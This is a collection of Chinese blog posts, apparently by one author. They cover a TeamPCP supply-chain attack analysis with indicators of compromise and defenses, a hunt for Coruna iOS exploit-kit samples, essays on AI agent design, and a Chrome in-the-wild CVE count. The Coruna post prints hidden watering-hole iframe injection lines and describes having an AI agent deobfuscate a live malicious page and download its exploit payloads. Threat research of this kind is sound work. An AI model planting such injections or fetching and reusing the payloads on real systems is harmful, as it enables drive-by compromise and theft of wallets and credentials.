
┌─────────────────────────────────────────────────────────────┐
│  Phase 0: 初始访问 (2026-02-27)                             │
│  MegaGame10418 → Pwn Request → aqua-bot PAT                 │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 1: 恶意提交 (2026-03-19 17:43)                       │
│  • 冒充 rauchg (Guillermo Rauch) 提交 actions/checkout      │
│  • 冒充 DmitriyLewen 提交 aquasecurity/trivy               │
│  • 推送 v0.69.4 标签指向恶意提交                            │
│  • C2: scan.aquasecurtiy.org (typosquat)                   │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 2: 横向移动 (2026-03-19 21:31-21:36)                │
│  使用 aqua-bot  compromised 凭证：                          │
│  • aquasecurity/tfsec                                       │
│  • aquasecurity/traceeshark                                 │
│  • aquasecurity/trivy-action                                │
│  注入恶意工作流窃取 CI/CD 密钥                              │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 3: 供应链传播 (2026-03-19 22:08)                     │
│  • trivy-action: 76/77 标签被投毒                           │
│  • setup-trivy: 全部 7 个标签被投毒                          │
│  影响数千个下游项目                                         │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 4: 混淆 (2026-03-20 00:08)                           │
│  96 个垃圾账号在 30 秒内洪水评论                            │
│  淹没技术讨论和事件协调                                     │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 5-9: 多生态系统扩展                                  │
│  • npm: CanisterWorm 自我传播蠕虫                           │
│  • ICP: kamikaze.sh 多阶段载荷                              │
│  • Docker Hub: 直接推送恶意镜像                             │
│  • Checkmarx: OpenVSX + GitHub Actions                      │
│  • PyPI: LiteLLM .pth 注入                                  │
└─────────────────────────────────────────────────────────────┘

🦠 恶意载荷架构

三阶段有效载荷

1. 收集 (Collect)

# 通过 /proc/<pid>/mem 转储 Runner.Worker 进程内存
# grep 模式：{"value":"<secret>","isSecret":true}
# 收获：SSH 密钥、云凭证、K8s token、加密钱包

2. 加密 (Encrypt)

# AES-256-CBC + RSA-4096 混合加密
# 打包为 tpcp.tar.gz

3. 外传 (Exfiltrate)

# POST 到 typosquat: scan.aquasecurtiy.org
# 备用：创建 tpcp-docs repo 作为 GitHub dead drop

🎭 TeamPCP 威胁行为者特征

TTPs (战术、技术和程序)

• 供应链投毒 (GitHub Actions, 包注册表)

• /proc/[pid]/mem

   内存刮削

• 文件系统凭证扫描 (50+ 敏感路径)

• Cloudflare Tunnels (临时 C2)

• ICP canister 备用基础设施

• WAV 隐写术 (v3.3 版本)

🔑 关键 IOC (入侵指标)

C2 基础设施

主 C2 (typosquat):
  scan.aquasecurtiy.org → 45.148.10.212 (阿姆斯特丹)
Cloudflare Tunnels:
  plug-tab-protective-relay.trycloudflare.com
  championships-peoples-point-cassette.trycloudflare.com
  create-sensitivity-grad-sequence.trycloudflare.com
ICP Canister (共享 C2):
  tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io
LiteLLM C2:
  models.litellm.cloud (NOT litellm.ai)

恶意提交哈希

actions/checkout:
  70379aad1a8b40919ce8b382d3cd7d0315cde1d0 (冒充 rauchg)
aquasecurity/trivy:
  1885610c6a34811c8296416ae69f568002ef11ec (冒充 DmitriyLewen)
LiteLLM 秘密外传:
  fcaa823de07878d0d98e97f6f5552c0e2ac00d2f
  81c851cc00313c44effd421712523f294b18391e

💡 教训与防御建议

1. 凭证轮换必须是原子性的

• 撤销旧令牌后，立即监控是否有使用尝试

• 考虑先创建新令牌再撤销旧令牌

2. SHA 固定所有 GitHub Actions

# ❌ 不安全
uses:aquasecurity/trivy-action@v0.35.0
# ✅ 安全
uses:aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

3. 启用提交签名验证

• 恶意提交是未签名的（原始提交是 GPG 签名的）

4. 监控异常活动

• 突然的标签推送

• 非工作时间的提交

• 冒充知名贡献者的提交

5. 使用短期上传令牌

• PyPI 支持短期上传令牌而非长期 API token

📊 影响范围

📈 攻击者技术演进

v1.0 (2026-02-27)

• 基本 Pwn Request 攻击

• 简单的凭证窃取

v2.0 (2026-03-19)

• 多仓库横向移动

• 供应链投毒

• 内存刮削技术

v3.0 (2026-03-20)

• npm 蠕虫自我传播

• ICP 基础设施

• 多阶段载荷

v3.3 (2026-03-22)

• WAV 隐写术

• Docker Hub 直接推送

• 跨生态系统攻击

🛡️ 检测与响应建议

检测指标

1. 网络流量

• 到 typosquat 域名的出站连接

• Cloudflare Tunnel 连接

• ICP canister 通信

2. 文件系统

• /tmp/tpcp.tar.gz

   存在

• ~/.config/sysmon/sysmon.py

   存在

• 异常的 .pth 文件

3. 进程行为

• /proc/[pid]/mem

   读取

• 异常的 Python 子进程生成

响应步骤

1. 立即隔离

• 断开受影响系统网络

• 冻结 CI/CD 流水线

2. 凭证轮换

• 所有云凭证

• SSH 密钥

• API tokens

• K8s service account tokens

3. 取证分析

• 检查所有 Trivy 相关安装

• 审计 CI/CD 日志

• 扫描恶意提交

4. 通知与协调

• 通知下游用户

• 协调包注册表删除恶意版本

• 发布安全公告

🔗 相关资源

1. 原始分析

   : https://ramimac.me/teampcp/

2. GitHub Issue

   : https://github.com/BerriAI/litellm/issues/24518

3. Hacker News

   : https://news.ycombinator.com/item?id=47501729

4. FutureSearch 博客

   : https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/

📊 所有被 TeamPCP 攻击影响的项目

1. Aqua Security Trivy 生态系统 (初始目标)

官方安全公告: https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23
官方讨论: https://github.com/aquasecurity/trivy/discussions/10425

2. Checkmarx KICS 生态系统 (第二波攻击)

恶意代码行为:

• 搜索 AWS/Azure/GCP 凭证、SSH 密钥、Kubernetes tokens

• 从 CI/CD runner 内存中直接提取密钥 (Runner.Worker 进程内存转储)

• 加密后外传至 checkmarx.zone，或使用受害者 GITHUB_TOKEN 在隐藏仓库创建 release

• 尝试通过 systemd 服务 (sysmon) 安装后门，在 Kubernetes 集群部署特权 pod

安全公告: https://github.com/Checkmarx/kics-github-action/issues/152

3. npm 生态系统 - CanisterWorm 蠕虫

TeamPCP 使用自我传播蠕虫在 npm 生态系统传播：

• 攻击方式

  : 使用窃取的 npm tokens，自传播到其他可发布包

• 速度

  : 28+ 包在 <60 秒内被感染

• 影响范围

  : @EmilGroup (28 pkgs), @opengov (16 pkgs), @teale.io, @airtm, @pypestream

• 持久化

  : systemd 服务 pgmon.service，伪装成 PostgreSQL 监控

4. BerriAI LiteLLM (PyPI) (第三波攻击)

• 发现

  : 因为载荷的 bug 造成 fork bomb (指数级进程生成)，使得感染立刻被发现

• 攻击路径

  : PYPI_PUBLISH token 作为 GitHub 环境变量存储，通过 Trivy CI/CD 被窃取

• 影响

  : Docker 代理用户不受影响 (依赖固定)

Issue: https://github.com/BerriAI/litellm/issues/24518
PYPI 官方公告: https://github.com/pypa/advisory-database/blob/main/vulns/litellm/PYSEC-2026-2.yaml
OSV: https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/litellm/MAL-2026-2144.json

5. 其他受影响的 Aqua Security 项目

通过 aqua-bot 横向移动：

• aquasecurity/tfsec

   - 注入恶意工作流窃取密钥

• aquasecurity/traceeshark

   - 注入恶意工作流窃取密钥

• 44 个内部仓库在 aquasec-com GitHub 组织被攻击者篡改名称前缀为 tpcp-docs-，公开暴露内部资产

🌐 社区响应

很多项目已经采取行动，包括禁用 Trivy 扫描直到问题解决：

• KNMI/adaguc-server

  : #665 - 暂时禁用 Trivy

• crazy-max/ghaction-container-scan

  : #240 - 发布重要安全公告

• NousResearch/hermes-agent

  : #2791 - 报告供应链攻击；Docker 构建因 litellm 被隔离而失败

• browser-use/browser-use

  : #4505 - CLI 安装脚本拉取恶意 litellm 影响所有用户

• williamzujkowski

   多个项目: 更新所有 GitHub Actions 使用 SHA 固定

📚 第三方情报资源

社区已经快速整理了 IOC 和威胁情报：

📈 攻击规模统计

报告生成时间: 2026-03-25
分析来源:

• TeamPCP 攻击时间线分析 (ramimac.me)

• GitHub 搜索公开数据

• 官方安全公告 关联事件: LiteLLM PyPI 供应链攻击 #24518

跳转微信打开

原本这个应该是放在《AI Agent 下半场》文中的案例，但是考虑到读者可能不是安全相关的，而且可能影响文章整体观点表达，所以就单独记录一下。

Coruna

Google云在March 4, 2026发布了一篇 blog 《Coruna: The Mysterious Journey of a Powerful iOS Exploit Kit》

https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit

文章主要解释Google Threat Intelligence Group (GTIG)发现了一个名为“Coruna” 针对 针对运行 iOS 13.0 版本（2019 年 9 月发布）至 17.2.1 版本（2023 年 12 月发布）的 iPhone  水坑攻击套件包，里面包含了五条完整的 iOS 漏洞链和共 23 个漏洞利用。

我开始看到这个时候其实兴趣不是很大的，因为这些都是 nday 了，当然按之前折腾的经验来看，这个 exploit-kit 的开发也是一个比较大的工程的，当然这种武器模式，跟 0day 的武器化模式可以说是截然不同的路线，毕竟要全覆盖并适配那么多 nday 漏洞，而且要求是 full chain。

所以能开发出这种项目的也不会是个简单的角色，从 Google 的文章也有提到，GTIG最早在2025 年发现被用于大毛组织黑二毛的行动中，但是最近这次主要是发现被黑产广泛使用，现在还可以找到不少在线的部署。

这个让我想起了我们之前发现过很多次的 0day 漏洞从 “APT” 转为 “黑产”的路子，比如 

https://paper.seebug.org/695/

典型的 0day “堕落3 阶段”，武器化的东西看起来也这样！

只是我比较奇怪的是，这么多年过去了这种水坑攻击的 nday 武器真的有很大的用处吗？在 IE 时代倒是可以通过游戏等来闭环，黑产这个可能是想通过 Web3来实现“商业”闭环，从 Google 的文章里看确实是这样瞄准的还是数字钱包

Hunting

Google 的文章发布后，看到国内社区都很关注这个玩意，很多人都在找样本，其实非常简单，你只要 ZoomEye 上搜一下就行，在 Google 的文章里发布的 ICOs 里的 link：

有很多，简单滑动下发现/88k4ez/group.html 这个用的比较多，而且这个88k4ez很明显的特征，所以你就直接搜索 /88k4ez/group.html 就行了

 简单就找一个：

<iframesrc="http://goanalytics.xyz/88k4ez/group.html"style="position: fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>

典型的水坑～ ，不过发现这个地址已经在 Google 的文章里 ICOs 列表里，毫无疑问，测试下好像要几个不在线了 ...

所以我就换了个 "tuiliu/group.html" 搜索找到 trxusdt.xyz 这个地址在 Google 的文章里并没有覆盖，没错，他还在线。

调用方式：

<iframesrc="/tuiliu/group.html"style="position: fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>

用的相对路径，当时我第一眼看到这个有点怀疑这个是不是目标页面，因为有很多网站本身正常页面也是这个写法，所以简单 Curl 一下，发现是混淆加密的，看起来有戏这个时候就是 AiPy 上场了

>>> 帮我看个/Users/xxxx/aa/group_http.html 这个页面里的混淆的 js 都干了什么 注意是不是有关 ios 的相关的内容

结果如图：

注意模型是 GLM 4.7

看到 “iOS 13-17” 的结论，基本上就可以确定这个多半就是目标了，那么能不能提取出来其他的 payload 呢？如果按历史经验手工一步一步debug 的化还是很累很麻烦并且非常无聊的，当然还有一个办法就是抓包，找一个手机抓个包，手头上没有那么多设备和环境，所以我们继续用 AiPy 把

>>> 帮我看个/Users/heige/aa/group_http.html 这个页面里的混淆的 js 帮我分析下这个页面都动态加载了哪些 js

多次测试后，发现glm 4.7没有成功，于是我追加了一些提示：

>>> 帮我看个/Users/heige/aa/group_http.html 这个页面里的混淆的 js 帮我分析下这个页面都动态加载了哪些 js，提示：“Bailing out if the device is in

 Lockdown Mode, or the user is in private browsing.

A unique and hard-coded cookie is used along the way to generate resource URLs.

Resources are referred to by a hash, which needs to be derived with the unique cookie using sha256(COOKIE + ID)[:40] to get their URL.”

上面提示词部分来源于 Google 文中的原文，这个也算是个 “skills” 提示吧，可惜有这个提示，结果也不是很理想，而且还不稳定，看了下结果可能还是模型能力的问题，有时候对 cookie 这个词也有“误解”，被认为是浏览器的 cookie 了，于是我换了下 Gemini3 的模型，尝试效果还是非常好的，于是我让 AiPy + Gemini3 一次性帮我线上的页面分析并下载回来：

而且直接镜像到本地了，这样得到了 group.html 混淆的 js 里还动态加载了 14 个 js 文件，其中一个就是 min.js 实际上是一个 二进制文件，其他的 13 是按对应 ios 版本判断记载的对应的漏洞攻击的 Payload，你可以继续让他分析哪些 ios 版本对应哪些 js 加载，及对应模板是干啥的

到这里其实我这个例子算基本完成了，当然在真正恶意分析角度上看还是不够的，因为这个只是水坑攻击的部分，在后续“浏览器”漏洞成功后，可能在对应的 exp 的 shellcode 等里面还有其他下载出发的漏洞或者恶意控制等的组件等等

不过即使是这一步的分析，大模型时代已经让这个分析事情变得非常的简单直接了，另外在复杂任务上，这次其实我 还是测试了很多模型的，国产模型在复杂任务的理解/完成的稳定性等方面还是需要再努力，而国外的顶级模型 gemini/codex 表现都非常好，在神龙叫 杨教主文章《大模型能力评测，中国落后一年》里也提到了我们 AiPy 的模型测试结果是一致的

AiPy 的模型测试报告 www.aipyaipy.com 点击“测评报告”查看

跳转微信打开

1、Don’t just do it. Get it.

结合 2023 年 2024 年的各种忽悠经历，在 2025 年推出了《黑哥尔模型三定律》

第一定律：相信相信的力量（信念觉醒）
第二定律：相信大模型的能力（认知觉醒）
第三定律：Just do it [整就牛] （行动觉醒）

但是通过观察，也出现了很多“矫枉过正”的问题，过度相信大模型的能力，甚至沉迷于幻觉等情况的出现，这里没有特指而是说普遍存在，包括一些老板、有着技术情结的老玩家，有 AI 加持后，觉得所有的技术变得廉价了，不值钱了，你能干的我都能干 ... 

我这里不是要推翻之前的《黑哥尔模型三定律》，而是在强调：“第三定律：Just do it [整就牛] （行动觉醒）” ，只有去真正去“do”了，才能尽可能的“实事求是”。所以在“下半场”我觉得可以把“Just do it”进化一下“Don’t just do it. Get it.”

很多时候，大家现在接触大模型更多的是焦虑带来的各种跟风，而实际应用到工作生活中的真正有价值的场景实际挖掘可能还不是特别的多，当然这个是一个复杂的多因素决定的，目前大家用对最多的从 Chat 的时代“你好你是谁”，到 Agent 时代的“帮我查下天气” ...

对于技术研究，很多时候都点到为止，验证可行性就算完结了，而我觉得这个在“下半场”不能满足了，不能只是“点到为止”/“浅尝浅止”了，是时候也结果说话了～～ 

2、Code-use 范式已成共识

在 2025 年我们通过 AiPy 推出了“Python-use”范式，本质就是 Code-use 范式，并率先打出了"No Agents, Code is Agent."，在差不多一年时间过后，随着Anthropic通过 Claude Code 工程化实现的过程，并逐渐“觉醒”了"Code is all you need" 、 "Code is the universal interface"的认知，工程化实践也从 MCP --> PTC --> Skills 的进化而转变，Anthropic也因为他巨大的话语权及影响力，由此形成了“1 个Code-use 的范式 Agent + 多个Skills” 的基本共识和格局，也就是所谓的：“The future of AI isn't more agents—it's one universal agent powered by a library of domain-specific skills.”

在之前我很多次文章里都表达过，Skills 其实是在 Code-use 范式 觉醒后的，自然而然的产物，在当时 AiPy 实现的时候我们称为 “最佳实践”，在词意理解上还是非常接近“技能”的，只是Anthropic按照Claude code 等的工程实践结果，提出了一个相对宽松的结构化“标准” （这些内容都可以参考我之前的文章）

在我的视角不管是“最佳实践”还是“Skills”他本质还是“提示词工程”，所以 Skills 本质是一个相对结构化的“提示词工程”，是的Anthropic绕来绕去又回到了2023 年大模型刚火的那个阶段的“提示词工程”

而在工程化实现角度上看 卡帕西在 2025 年提出的“Context Engineering” 可能更加适合从整体上理解这个问题。当然里面可能涉及的对象不一样比如 Agent 的工程化开发，而 Skills 的开发偏向于社区 ...

不管是“提示词工程”还是“上下文工程”，这些都是现有大语言模型的本身结构决定的，在 GPT（Generative Pre-trained Transformer） 原本的范式结构里，Prompt 是不可缺少的，因为 GPT 本质是“已有上下文”去预测下一个 token，所以没有输入上下文，它就没有明确的生成条件。所以在现有大语言模型基础架构就决定了“上下文工程”，而这个成为大语言模型与“环境”交互的枢纽空间。

在这里我不得不再提一下这个图：

所以以至于我认为：“2026 AI Agent 的核心：Context Engineering，让环境可计算化” 也是基于这方面的考虑。

3、“下半场”范式：自动总结生成 Skills并分发  

过度的开发者依赖不符合 AGI 的追求

「当然他还拥有任务理解规划、代码最佳实践方案、记忆管理注意力调整、任务反思反馈的能力，甚至我们认为通过Python Use这种范式，可以让各种AI章鱼和谐统一的为人类工作（类“MOE”模式），甚至可以让AI章鱼的自我进化，不只是手和脚，可以促进眼睛、鼻子、嘴巴等多模态能力的进化！最终实现AGI，这才是真正的“智能体”。」

解放 AI 是 AiPy 的追求：

"No Agents, Code is Agent <--> Just Python-use <--> Freedom AI"

这个也是符合黑哥尔三定律里的相信模型的能力，所以我之前对待 MCP 的态度，提倡 “No MCP”，因为MCP 有个问题依赖开发者的开发，而这个显然是不符合 AGI 的追求的，而 Skills 的爆火后同样存在这个问题，当然在大部分的时候相比 MCP 已经降低了不少“开发”门槛，不过还是看到不少资深开发者把核心放在 Skills 里的Script 的开发，而这样同样需要门槛。如果你过度去追求 Script 的复杂开发，显然这个又回归到 MCP 的老问题上了！

所以在“下半场”的范式应该是：

Code-use Agent --> 任务 --> 自动总结生成并安装 Skills --> 分发 到 Skills 市场 --> 其他用户下载安装使用

4、Cli + /h 或许是最好的 Skills

到现在为止其实我还是觉得我们的 AiPy CLi 的设计的兼容性和可扩展性是非常强大的，可惜的是可能关注的人不是特别多，比如 “API Calling” 的设计，你基本上就能扩展很多的互联网服务及很多的其他能提供 API 接口的设备联动，设置多模型联动等（具体可以参考《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》）当然还有一个点就是 “Packages Calling” 这里本身就有海量的Packages 重要的还有很多的本地小模型都提供对应的Package方便我们处理，当然也包括“当你有需求你开发一个包，调用就行了”，而 Pyhon 的包本事就能提供 Cli 执行，在这个角度上看，你开发一个复杂的 MCP 或者 SKills 里的复杂的脚本，实际上你不如直接开发一个 Python 包，当然在之前我朋友圈提到的 https://github.com/teng-lin/notebooklm-py 这个项目，他其实就是开发了一个 py 包 ...

老黑客们都知道写的命令行工具都有个/h或者-h 的参数，来说明这个这个脚本或者工具的用途，当然一些变态的老黑客例外，所以其实包含脚本的这类 skills 写的 skill.md 无非是告诉你怎么调用这些脚本，如果你在实现命令行工具的时候加个/h 参数 那么你的 Skills 将变得非常简单明确。

比如之前我在使用 AiPy 对纯血鸿蒙的 hdc 接口进行 fuzzing 测试的时候用的提示词就是：

“现在你已经usb拦截我的手机，我的手机是华为鸿蒙系统，是通过hdc shell进行管理，但是这个是一个全新的手机，我需要你去通过在help -a命令来找到各种命令、子命令及参数，然后对所有系统命令及子命令进行随机fuzzing测试。”

按这个逻辑我们继续走下去，你会发现如果所有的东西都有 cli +/h 支持，那么上文提到的“1 个Code-use 的范式 Agent”，实际上就可以用一个“Base-use”的 Agent 替代，当然这个还得考虑操作系统等因素。

5、从 Tool Calling 到 Environment Acting

在“2、Code-use 范式已成共识”明确后，我觉得大模型尝试可能不再过分追求 Function/Tool Calling，包括之前打榜的基准测试，而是“训练目标的重心，可能正在从‘会不会调工具’转向‘能不能在环境里把事做完’”，这个也是我之前文章里提到的“Context Engineering”模型端做的尝试努力，比如更智能的“记忆”、对 Skills 的更好理解与调用、更顺畅的注意力组织与上下文聚焦、更丝滑地处理长链路/复杂任务，在真实环境中持续执行、反馈、修正并完成目标等方向上的训练。

小结

之所以用“下半场”这个词，是致敬姚顺雨的之前写过很火的文章《The Second Half》

https://ysymyth.github.io/The-Second-Half/

当然我这个是说 AI Agent的下半场，到下半场我们应该真正看中的是结果，通过 AI 的融合或者重塑，真正在你的工作生活中解决实际有价值的问题，当然今天这篇文章还有一个重要点没有展开，那就是“性价比”的问题，如果要真正结果导向“性价比”的问题就是绕不开的一个问题。

最后还有一个问题就是“龙虾”的火爆，虽然我感觉很邪门（参考神龙叫《龙虾？宗教、钱财、骗子》），但是它可能是加速AI Agent 进入“下半场”～～ 从流量游戏转为真正干活牛马～～

跳转微信打开

这两天想统计下Chrome的2025年的在野利用漏洞情况，我首先想到的是通过https://chromereleases.googleblog.com/2025/01/ 去爬取，于是我让AiPy帮我去完成这个任务，写个个简单任务提示词：

>>> https://chromereleases.googleblog.com/2025/01/ 这个是google chrome的升级log URL按月份生成对应的link，我需要你冲2025年01月到2025年12月的所有漏洞信息统计，注意你要通过语义理解去阅读页面内容，而不是通过正则等规则匹配，包括漏洞对应的CVE编号、报告者、报告日期、漏洞基本信息、是否存在在野利用等进行全面统计，结果按CVE编号去重保存到表单文件里，一定要注意要全面 如果访问错误请务必访问成功

测试了下跑出了106个漏洞，然后7个在野漏洞，但是最大的问题是没办法确定，于是我让AiPy随机抽查了几个月份：

>>> 你帮我随机抽查下8月 6月的漏洞 是否对得上数据

结果提示漏掉好几个，然后我让他全部查一下在野漏洞的的情况，发现之前结果也有一些出入，后面分析后发现，主要是有一些数据的格式不统一导致的：

[$2000][384844003] Medium CVE-2025-0762:
[N/A][460017370] High CVE-2025-13223
[TBD][405143032] High CVE-2025-2783

而大模型处理数据习惯性的使用正则匹配，然后比如在野利用的描叙也有各种各有，比如：“in the wild” 、“in wild”等等，当然虽然在任务提示词里有要求 用“语义”理解，实际上大模型是直接无视的。于是我写了一个很长的“Skills” 并加上了一些例子说明，最后的效果看起来还不错，但是始终没办法确定数据是不是准确，抽查发现尤其在野数据老是不对，当然我也尝试了用ChatGPT来帮我执行这个任务，不过搞笑的是ChatGPT写了个脚本让我在本地跑 ... (本地跑那不直接AiPy啊！)

要命的是，最后我发现了一个问题：本身访问 https://chromereleases.googleblog.com/2025/01/ 这个页面的数据是不全的，里面有分页（相当于你爬取https://chromereleases.googleblog.com/2025/01/ 这个一月的数据，有一些一月公告的数据显示在下一页里）

这实际上从根本上否定了这个方法，于是我想着换一个思路：直接用搜索引擎的API来搜索

>>> google api搜索chromereleases.googleblog.com上 2025年的标记在野利用的漏洞及相关信息

最后输出9个在野利用 

那么这个结果准确不，于是我交叉了下GhatGPT的搜索结果，输出也是9个，对比了下 

https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/view?gid=897725844

 Google P0 0day "In the Wild" 项目的数据 基本上对的上，只是在这个项目了有2个漏洞标注是webkit，这个其实也影响Chrome 

所以问题来了：到底什么是最重要？MCP/Skills? 工具？产品？结果？认知？那么现阶段的用户到底是谁？LLM到底取代了什么？

在纠结那么多问题之前，先纠结下：你能正常访问 https://chromereleases.googleblog.com 这个网站吗？

对了 我上面用的模型是GLM-4.7

新年水一篇，要不然老是有人问我：这个公众号买不买 ...

阅读原文

跳转微信打开

今天是2025年最后一天，从3月基于Python-use（Code-use）范式的AiPy项目开始，到年底逐步看到了很多大厂或者大佬的一些理念认知逐渐的趋同，这说明我们的Python-use范式的理念及AI Agent应用方向的理解还算是比较先进、深入的。这些我在之前的文章都有详细的介绍，而且很多点都是反复的说，当然很多细节点可能需要真正去实践才有可能“感同身受”，可惜的是缺少点“大厂”的光环 ...

在《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》发布之后，我看到了来自Anthropic的两位Skills提出者的的演讲视频：

Don't Build Agents, Build Skills Instead – Barry Zhang & Mahesh Murag, Anthropic 

https://www.youtube.com/watch?v=CEvIs9y1uog

在这个演讲里他们提出了一个核心观点：

"The future of AI isn't more agents—it's one universal agent powered by a library of domain-specific skills."

也就是说：“AI 的未来，不是更大的 Agent，而是 一个通用 Agent + 无数可复用的技能模块。”

在他们的演讲里明确提到的标题："Code is all you need" 、 "Code is the universal interface"，包括他们对Claude Code定位（不再局限在IDE），到“可扩展（scalable）”、“API调用” 、“环境”等概念的理解，基本上都可以在我以往的介绍Python-use的相关文章里见到。

尤其是最开始的《【Agents/MCP可能不存在了】No Agents, Just Python-use！》明确了"No Agents, Code is Agent/No Agents, Just Python-use！"的核心观点，这个内容其实我在之前发过朋友圈并同步到一些AI相关的群里，其实我也知道反复去讲这些必然会引起一些人的不适，比如最早我们提出的"No Agents、No MCP、No Workflow、No Clients ..." 其实在我们内部也有很多不一样的看法意见，尤其是MCP我们AiPy实际上也是支持MCP的，包括我们的AiPy Pro的智能体也是兼容MCP的，这个都是基于“产品”维度选择，这些都可以理解，所以我在以往的文章里说：大家都被MCP绑架了～～  

而我这里其实是基于“范式”的角度去探讨的，基于“范式”那肯定是要看整体上的，而不是具体一个词、一个概念。当时有人就说了你这个Code use的方式人家很早就有了，包括CodeAct（CodeAct的相关 我已经在《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》进行探讨），可能还有人会提到通过Code来完成任务的模式很早有模型厂商或者Agent用过了，实际上我在《【Agents/MCP可能不存在了】No Agents, Just Python-use！》就提到GPT-4o的方式，至于其他Agent他们都是把Code当成了几个Agents中的一个Agent去调用，包括Manus 这些其实都是相对片面的视角。我们看一个“范式”需要更加完整的视角去看!

至于skills除了我在《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》提到的"code execution"部分之外，真正提到的“技能”这个最早是AiPy里我们称为“最佳实践”：

当然他还拥有任务理解规划、代码最佳实践方案、记忆管理注意力调整、任务反思反馈的能力，甚至我们认为通过Python Use这种范式，可以让各种AI章鱼和谐统一的为人类工作（类“MOE”模式），甚至可以让AI章鱼的自我进化，不只是手和脚，可以促进眼睛、鼻子、嘴巴等多模态能力的进化！最终实现AGI，这才是真正的“智能体”

heige，公众号：黑哥虾撩【Agents/MCP可能不存在了】No Agents, Just Python-use！

# 任务最佳实践
- 分析本地浏览器数据画像：直接使用读取本地浏览器数据库
- 图片OCR提取文字及对应坐标方案：paddleocr 或 easyocr
- 图片中图标标记并定位： openvc
- claude调用：anthropic包
- 天气查询：request + 高德API或中国天气网 ，当用户没有指定地理位置时，请调用高德API进行定位
- 股票查询：yfinance
- 网页访问：playwright 具体方案参考 "playwright方案规则"
- 浏览器访问网页：browser-use LLM使用openai gpt4o ，具体方案参考 “browser-use方案规则”
- 数据可视化图表：matplotlib 注意中文字体选择：'windows': ['Microsoft YaHei', 'SimHei'],'darwin': ['Kai', 'Hei'],'linux': ['Noto Sans CJK SC', 'WenQuanYi Micro Hei', 'Source Han Sans SC']
- 视频处理：ffmpeg-python
- 网络搜索：request + Tavily API，并触发网页访问阅读相关网页内容
- 反爬访问：playwright 或 browser-use
- 验证码、发帖、发微博：browser-use
- 图片生成或修改：request +Google Gemini API 注意LLM模型使用 gemini-2.0-flash-exp-image-generation 
- 华为鸿蒙手机USB控制命令：
    • 截屏：hdc shell uitest screenCap -p /data/local/tmp/screen.png
    • 回到屏幕首页：hdc shell uitest uiInput keyEvent Home
    • 返回：hdc shell uitest uiInput keyEvent Back
    • 向下滑动：hdc shell uitest uiInput dircFling 3 10000
    • 向上滑动：hdc shell uitest uiInput dircFling 2 10000
    • 左滑：hdc shell uitest uiInput dircFling 0 1500
    • 右滑：hdc shell uitest uiInput dircFling 1 1500
    • 输入框：hdc shell uitest uiInput inputText x y hello 
    • 模拟点击：hdc shell uitest uiInput click x y
- 打开手机对应app
    先通过OCR识别【应用名称】文字坐标 → 向上偏移【120】像素获取图标中心 → 用【HSV色彩空间】验证图标主色调 → 最终点击坐标修正【±5】像素容差
- 拨打电话：（注意需要在终端显示标记的图片）
    通过USB连接了我的鸿蒙手机，请通过hdc shell进行管理，回到手机屏幕首页，但后找到手机按钮坐标，模拟点击手机按钮进入拨号键面，最后通过hdc shell uitest uiInput click x  y 方式依次点击对应坐标拨打用户输入的电话号码，注意在电话号码输入完整后再点击拨号按键。

上面这个是我早期AiPy里的提示词，根据不通任务去选择对应的Python Packages或者 命令工具及代码调用 模型调用方式等，这个最早是放在AiPy系统提示词里，这导致的如果场景越多最终你的这个内容越多，占用的tokens会越到，注意力也可能不够集中，所以后面我们把这部分进行拆分和优化，一部分我们分化出了“角色”这个概念，用户可以通过不通“角色”来定一个这个“最佳实践”，当然后面我们“命令”也是可以做这部分工作，而另外一部分我们通过API Calling来实现云端智能选择，也就是你的任务提示词提交给大模型之前，会通过API Calling得方式去请求我们云端的“小模型”，做提示词优化，而这个“小模型”的目的就是根据你的任务选择并生成“最佳实践”。

实际上在我的视角，如果你认识到了"No Agents, Code is Agent"，这些“最佳实践”就是“自然而然”，“水到渠成”的事情，这个是Python-use范式的先天优势，这段时间Skills火了后，我看到一些有意识的评论，比如：

响马这个看法不就是“No Workflow”嘛，其实在我上面给出最佳实践里：

- 华为鸿蒙手机USB控制命令：
    • 截屏：hdc shell uitest screenCap -p /data/local/tmp/screen.png
    • 回到屏幕首页：hdc shell uitest uiInput keyEvent Home
    • 返回：hdc shell uitest uiInput keyEvent Back
    • 向下滑动：hdc shell uitest uiInput dircFling 3 10000
    • 向上滑动：hdc shell uitest uiInput dircFling 2 10000
    • 左滑：hdc shell uitest uiInput dircFling 0 1500
    • 右滑：hdc shell uitest uiInput dircFling 1 1500
    • 输入框：hdc shell uitest uiInput inputText x y hello 
    • 模拟点击：hdc shell uitest uiInput click x y
- 打开手机对应app
    先通过OCR识别【应用名称】文字坐标 → 向上偏移【120】像素获取图标中心 → 用【HSV色彩空间】验证图标主色调 → 最终点击坐标修正【±5】像素容差
- 拨打电话：（注意需要在终端显示标记的图片）
    通过USB连接了我的鸿蒙手机，请通过hdc shell进行管理，回到手机屏幕首页，但后找到手机按钮坐标，模拟点击手机按钮进入拨号键面，最后通过hdc shell uitest uiInput click x  y 方式依次点击对应坐标拨打用户输入的电话号码，注意在电话号码输入完整后再点击拨号按键。

就有点“Workflow”的味道？！这个是2025年4月份通过AiPy尝试phone use控制纯血鸿蒙系统成功拨号的效果：

而在2025年12月在豆包手机短暂火一把之后 智谱开源的 

github.com/zai-org/Open-AutoGLM

